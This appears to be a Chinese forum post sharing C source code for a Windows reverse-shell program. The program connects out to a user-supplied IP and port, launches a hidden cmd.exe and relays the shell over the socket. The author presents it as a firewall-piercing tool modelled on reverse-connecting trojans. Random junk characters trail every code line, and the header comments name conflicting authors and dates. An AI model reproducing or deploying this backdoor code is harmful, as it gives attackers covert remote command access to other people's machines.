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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b' o]Y  
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/* ============================== v/`D0g-uX)  
Rebound port in Windows NT #aP#r4$  
By wind,2006/7 ?Z#N9Z~\  
===============================*/ '$tCAS  
#include r<`:Q]  
#include -N45ni87  
A WR :~{  
#pragma comment(lib,"wsock32.lib") YJJ1N/Z1  
+MoUh'/u  
void OutputShell(); ')uYI;h9  
SOCKET sClient; R}&?9tVRR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5PeS/%uT@  
w$}q`k'  
void main(int argc,char **argv) /G||_Hc  
{ Qd} n4KF\  
WSADATA stWsaData; iGW|j>N  
int nRet;  >G]JwO  
SOCKADDR_IN stSaiClient,stSaiServer; kuEXNi1l  
\]ib%,:YU  
if(argc != 3) e=sc$1|4=  
{ &tyS6S+  
printf("Useage:\n\rRebound DestIP DestPort\n"); /UCBoQ$/]  
return; DzZF*ylQ5P  
} [EAOk=X  
jB LTEb  
WSAStartup(MAKEWORD(2,2),&stWsaData); o=m5AUe?J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `~GXK  
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stSaiClient.sin_family = AF_INET; */aY $aWv  
stSaiClient.sin_port = htons(0); t~+M>Fjm?d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @cDB 7w\  
km %r{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )PYPlSQ*V  
{ (}A$4?  
printf("Bind Socket Failed!\n"); y1V}c ,  
return; 6#Vl3o(E|  
} oC&}lp)q  
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stSaiServer.sin_family = AF_INET; 1c$pz:$vX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e@'x7Zzh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dwA"QVp{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +t7HlAXB#  
{ gwj?.7N*k  
printf("Connect Error!"); <a R  
return; xQ9t1b|{e  
} ZU\$x<,  
OutputShell(); z teu{0  
} ` m 5\  
\mb4leg5  
void OutputShell() #$WnMJ@  
{ dDcQSshL  
char szBuff[1024]; `,O7S9]R+  
SECURITY_ATTRIBUTES stSecurityAttributes; \' O/3Y7?X  
OSVERSIONINFO stOsversionInfo; 1hbQ30  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]OpGD5jZ  
STARTUPINFO stStartupInfo; .][yH[ F  
char *szShell; z_c-1iXCW  
PROCESS_INFORMATION stProcessInformation; l$u52e!7  
unsigned long lBytesRead; ]}`t~#Irz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ` nX, x-UM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4" ?`p;{Z  
stSecurityAttributes.lpSecurityDescriptor = 0; AD   
stSecurityAttributes.bInheritHandle = TRUE; '6D"QDZB  
zC*FeqFL<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \>$zxC_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); shw?_#?1dy  
/  Xnq0hN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2I:P}!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Ei^WDJ  
stStartupInfo.wShowWindow = SW_HIDE; +v/y{8Fu  
stStartupInfo.hStdInput = hReadPipe; Z|K HF"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; smCACQ$ (  
/l `zZ>  
GetVersionEx(&stOsversionInfo); xxGm T.&  
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switch(stOsversionInfo.dwPlatformId) Rd8mn'A  
{ :V(C+bm *  
case 1: %)i&|AV"  
szShell = "command.com"; WD4"ft  
break; lLQcyi0  
default: J@_M%eN  
szShell = "cmd.exe"; "OwM' n8  
break; K^x{rn.Zf  
} j&ti "|2\  
$.C\H,H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z +/3rd  
5 CnNp?.t^  
send(sClient,szMsg,77,0); !@!603Gy  
while(1)  LcLHX  
{ a[ ;L+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KyIUz9$  
if(lBytesRead) <=CABWO.  
{ U/FysN_N!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5[2kk5,  
send(sClient,szBuff,lBytesRead,0); 9@qkj 4w  
} [Zdrm:=]L  
else <Hv/1:k}  
{ )E9c6'd  
lBytesRead=recv(sClient,szBuff,1024,0); ( x% 4*  
if(lBytesRead<=0) break; v$ \<L|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q1 HJ_y  
} YuuTLX%3  
} BZLIi O  
%,$xmoj9O]  
return; 3L2NenJB  
}
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